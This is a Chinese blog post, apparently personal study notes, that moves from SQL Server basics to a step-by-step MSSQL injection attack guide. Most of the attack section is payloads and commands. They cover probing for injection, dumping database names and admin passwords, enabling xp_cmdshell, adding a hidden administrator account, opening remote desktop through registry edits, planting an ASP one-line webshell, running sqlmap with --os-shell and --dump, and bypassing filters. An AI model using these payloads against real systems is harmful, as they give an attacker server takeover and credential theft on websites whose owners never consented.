ICode9

精准搜索请尝试: 精确搜索
首页 > 数据库> 文章详细

Mssql注入漏洞认识

2021-07-04 08:00:50  阅读:214  来源: 互联网

标签:-- 数据库 Mssql 漏洞 test aspx id select 注入


用的asp、aspx可能用的mssql

sql server2012

特点:

高性能,可充分利用win的优势

系统管理先进,支持win图形化管理工具,支持本地和远程的系统管理和配置

强壮的事务处理功能,采用各种方法保证数据的完整性

支持对称多处理器结构、存储过程、ODBC,并且有自主的SQL语言。sqlserver以内置的数据复制功能、强大的管理工具、与因特尔的紧密集成和开放系统结构为用户、等提供的数据库平台

sqlserver端口1433

管理员账号sa

hydra s.exe

mdf是数据库文件

ldf是数据库的日志文件

sql server2008使用方法

登陆方式两种
win、sql server
创建数据库,右击新建数据库
起名字
点击名字
创建表:右击表,新建表
指定表里的列
例如:
id、int
username、nvachar(50)
然后ctrl+s完成并编辑名字,dbo是附加的前缀,然后点击创建的表,然后进行创建用户
按照命令查询也可以
新建查询
use 数据库			点击执行
然后查询admin的所有列
select * from admin;
查询id=1的
select * from admin where id=1
插入内容
insert into admin(id,username,password)value(3,'test','password');
改密码更改3的密码
update admin set password='123123' where id =3
删除
delete from admin where id=3

要想删除数据库,首先右键任务--分离,然后全选,然后确定删除后,找mssql的,再把数据库的路径的对应的删除就行了

版本注意数据库的兼容问题,2003强行附加带2008会出现一些问题

数据库的附加:

右击数据库,点击附加,然后添加,找到数据库的路径点击mdf的,然后确定

版本问题:

右击数据库,点击生成脚本,然后选择版本 、

用户名的服务器角色sysadmin就是sa权限

要想下载数据库,就得先分离才能继续复制、移动

mssql数据库权限

sa权限:数据库操作,文件管理,命令执行,注册表读取等system
db权限:文件管理,数据库操作等users-adminstrators
public权限:数据库操作 guest-users

一般数据库代码都是在conn.asp或者dbconfig.asp 这是asp

aspx的一般在web.config

mssql数据库注入

判断有无注入

and 1=1
and 1=2
/
-0

因为代码没有对输入做出严格的过滤产生的

初步判断是否是mssql

and user>0

判断数据库系统

and(select count(*)from sysobjects)>0  mssql
and(select count(*)from msysobjects)>0    access

测试权限结构

and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
and 1=(select IS_MEMBER('db_owner'));--

查看数据库版本信息

and 1=(select @@version)
也可以
id=@@version

获取第一个用户的数据库

and 1=(select top 1 name from master..sysdatebases where dbid>4)

获取第一个张表明

and 1=(select top 1 name from sysobjects where xtype='u')

不等于用闭合的

name<>'名称'

爆数据库

and 1=(select name from master..sysdatebases for xml path)

爆数据库表

and 1=(select name from sysobjects for xml path)

获取第一列的列名

and 1=(select top 1 name from syscolumns where id =(select id from sysobjects where name ='users'))

然后查看用户名密码

and 1=(select top 1 admin from admin)
and 1=(select top 1 pass from admin)

利用mssql扩展存储注入攻击

1.检测与恢复扩展存储
判断xp_cmdshell扩展存储是否存在
and 1=(select count(*) fron master.dbo.sysobjects where xtype = 'X' AND name='xp cmdshell')
判断xp_regread扩展存储过程是否存在
and 1=(select count(*) from master.dbo.sysobjects where name='xp_regread')恢复
EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC
sp_configure'xp_cmdshell', 1;RECONFIGURE;
;exec sp_dropextendedproc xp_cmdshell,'xplog70.dll'

利用xp_cmdshell扩展执行任意命令

;drop table black
;create TABLE black(mulu varchar(7996) NULL,ID int NOT NULL IDENTITY(1,1))--;insert into black exec master..xp_cmdshell 'dir c:\'
and 1= (select top 1 mulu from black where id=1)

新建用户

;exec master..xp_cmdshell 'net user test test /add  新建用户
加入到管理员权限
;exec master..xp_cmdshell 'net localgroup administrators test /add'

远程登录cmd

mstsc

远程没开启,就让他开

打开3389

;exec master..xp_cmdshell 'sc config termservice start=auto'
;exec master..xp_cmdshell 'net start termservice'
; e x e c   m a s t e r . .x p_c m d s h e l l 'r e g   a d d"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server"/vfDenyTSConnections/t REG_DWORD/d 0x0 /f’//允许外部连接
; e x e c   m a s t e r . .x p_c m d s h e l l 'r e g a   d d"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD/d 0x50/f‘ //改端口到80
添加和删除一个SA权限的用户test:(需要SA权限)
exec master.dbo.sp_addlogin test,password
exec master.dbo.sp_addsrvrolemember test,sysadmin
停掉或激活某个服务。(需要SA权限)
exec master..xp_servicecontrol'stop','schedule'
exec master..xp_servicecontrol'start','schedule'

开启远程数据库1
;select* from OPENROWSET('SQLOLEDB','server=servername;uid=sa;pwd=apachy_123','select * from table1')
开启远程数据库2
;select* from OPENROWSET('SQLOLEDB','uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;’,'select *from table'

利用sp_makewebtask写入一句话

;exec sp_makewebtask
'c.\inetpub\wwwroot\x.asp','select"%3C%25%65%76%61%6C%20%72%65%71%75%65%73%74%28%22%63%68%6F%70%70%65%72%22%29%25%3E""--
http://mssql.sql.com/aspx.aspx?id=1%20;exec%20sp_makewebtask%20%20%27c.\inetpub\wwwroot\ms\×1.asp%27,%27select%27%27<%execute(request("cmd"")%>%27%27%27--
注意上面的url编码后,看ms,更改为网站的端口
修改管理员密码
update admin set password=123123 where username='admin';

通过共聚getwebshell增强版

插入代码

('<%excute(request("cmd"))%>')--

注意网站根目录

也可以用一键备份

用sqlmap跑

sqlmap.py -u "192.168.0.1:8082/test.aspx?id=1" --is-dba
看权限是否是系统管理员权限
sqlmap.py -u "192.168.0.1:8082/test.aspx?id=1" --current-user
看当前用户名名称
sqlmap.py -u "192.168.0.1:8082/test.aspx?id=1" --privilegs
看权限
sqlmap.py -u "192.168.0.1:8082/test.aspx?id=1" --os-shell
执行系统命令
sqlmap.py -u "192.168.0.1:8082/test.aspx?id=1" --dbs
列出数据库
sqlmap.py -u "192.168.0.1:8082/test.aspx?id=1" --current-db
查看当前数据库
sqlmap.py -u "192.168.0.1:8082/test.aspx?id=1" --tables -D test --couent
统计每个表的数据
sqlmap.py -u "192.168.0.1:8082/test.aspx?id=1" --columns -T admin -D test
查看admin有哪些列
sqlmap.py -u "192.168.0.1:8082/test.aspx?id=1" --dump -C admin.pass -T -D test
指定表查看
sqlmap.py -u "192.168.0.1:8082/test.aspx?id=1" --dump  -T -D test
看所有的

防注入的代码

/**/
+
%0a
代替空格
还有大小写的区分的
selcet
大写
绕过
SELECT

标签:--,数据库,Mssql,漏洞,test,aspx,id,select,注入
来源: https://www.cnblogs.com/chenyouxiu/p/14968195.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有